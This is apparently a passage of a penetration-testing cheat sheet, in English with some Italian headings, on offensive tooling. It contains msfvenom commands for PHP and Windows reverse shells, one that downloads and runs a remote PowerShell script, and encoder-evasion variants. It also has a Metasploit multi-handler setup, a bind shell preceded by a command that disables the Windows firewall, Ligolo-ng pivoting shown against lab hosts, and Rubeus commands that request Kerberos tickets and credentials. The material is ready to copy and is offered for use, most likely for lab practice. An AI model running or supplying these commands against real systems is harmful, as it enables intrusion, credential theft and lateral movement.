| `msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php cat shell.php`                                                                                                                            | pbcopy && echo '?php '                          |
| `msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > phpreverseshell.php`                                                                                                                                            | Php Reverse Shell                               |
| `msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')" -f python`                                                                   | Windows Exec Nishang Powershell in python       |
| `msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x04\xA0"`                                                                                                     | Bad characters shikata\_ga\_nai                 |
| `msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/fnstenv_mov -b "\x04\xA0"`                                                                                                        | Bad characters fnstenv\_mov                     |

### Multihandler Listener

To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse\_tcp payload,

```
msf>use exploit/multi/handler  
msf>set payload windows/meterpreter/reverse_tcp  
msf>set lhost <IP>  
msf>set lport <PORT>  
msf> set ExitOnSession false  
msf>exploit -j  
```

The -j option is to keep all the connected session in the background.

### Windows Bind Shell

* create a shell bind on listen on port on current machine (to run on windows and after connect on port PORT)

```bash
msfvenom -p windows/x64/shell_bind_tcp LHOST=0.0.0.0 LPORT=PORT -f exe > windowsbindshellPORT.exe
```

```bash
netsh advfirewall set allprofiles state off
windowsbindshellPORT.exe
```

On attacker machine

```bash
nc iptarget PORT
```

### References

* <https://kb.help.rapid7.com/discuss/598ab88172371b000f5a4675>
* <https://thor-sec.com/cheatsheet/oscp/msfvenom_cheat_sheet/>
* <http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/>
* Windows Macro - <https://www.offsec.com/metasploit-unleashed/vbscript-infection-methods/>


# Ligolo-ng

## Ligolo-ng

1. Download proxy and agent form github <https://github.com/nicocha30/ligolo-ng>

#### On attacker machine

* setup

```bash
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
```

* route on ip

```bash
sudo ip route add 172.16.1.0/24 dev ligolo
sudo ip route add 240.0.0.1/32 dev ligolo # local port forwarding
```

```bash
➜  ligolo-ng_proxy_0.7.5_linux_amd64 git:(master) ✗ sudo ./proxy -selfcert
[sudo] password for kali: 
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
WARN[0000] Using self-signed certificates               
WARN[0000] TLS Certificate fingerprint for ligolo is: 40ACCAE48149074DBBA0313961C2F2AB269FF492EE8FA89F3E2C3D2222323A0C 
INFO[0000] Listening on 0.0.0.0:11601      
```

#### On victim

```bash
                                 
./agent -ignore-cert -connect 10.10.14.13:11601 
WARN[0000] warning, certificate validation disabled     
INFO[0000] Connection established                        addr="10.10.14.13:11601"


```

### After la connessione

* create interface

```shell
ligolo-ng » interface_create --name "evil-cha"

Creating a new "evil-cha" interface...       
INFO[0009] Interface created!    
```

* select session

```shell
ligolo-ng » session
? Specify a session : 1 - root@DANTE-WEB-NIX01 - 10.10.110.100:57614 - a0a78982-645b-46db-b759-20fa6185240a

```

* start tunnel

```shell
[Agent : root@DANTE-WEB-NIX01] » tunnel_start
[Agent : root@DANTE-WEB-NIX01] » INFO[0270] Starting tunnel to root@DANTE-WEB-NIX01 (a0a78982-645b-46db-b759-20fa6185240a) 

```

### Local Port Forwarding

```shell
sudo ip route add 240.0.0.1/32 dev ligolo
```

Ora si può accedere alla porta remota local utilizzando `240.0.0.1` e il numero della porta

#### Risorse

* <https://software-sinner.medium.com/how-to-tunnel-and-pivot-networks-using-ligolo-ng-cf828e59e740>
* <https://docs.ligolo.ng/Quickstart/>
* <https://www.youtube.com/watch?si=tua3i2c3Y0hgN5XP\\&v=DM1B8S80EvQ\\&feature=youtu.be>
* <https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5>


# Rubeus

#### Authenticate in windows

```powershell
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Certificate Authentication

```
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Create a Sacrificial Logon Session with Rubeus

```
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
```

#### Import Base64 Ticketin into the Powershell session using Rubeus

```
PS C:\Tools> .\Rubeus.exe ptt /ticket:doIGQjCCBj6gAwIBBaEDAgEW<SNIP>
```


# ldapsearch

```bash
ldapsearch -x -H ldap://10.10.11.248 -s base namingcontexts
```

```bash
ldapsearch -x -H ldap://10.10.11.248 -b "dc=monitored,dc=htb"
```

```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```


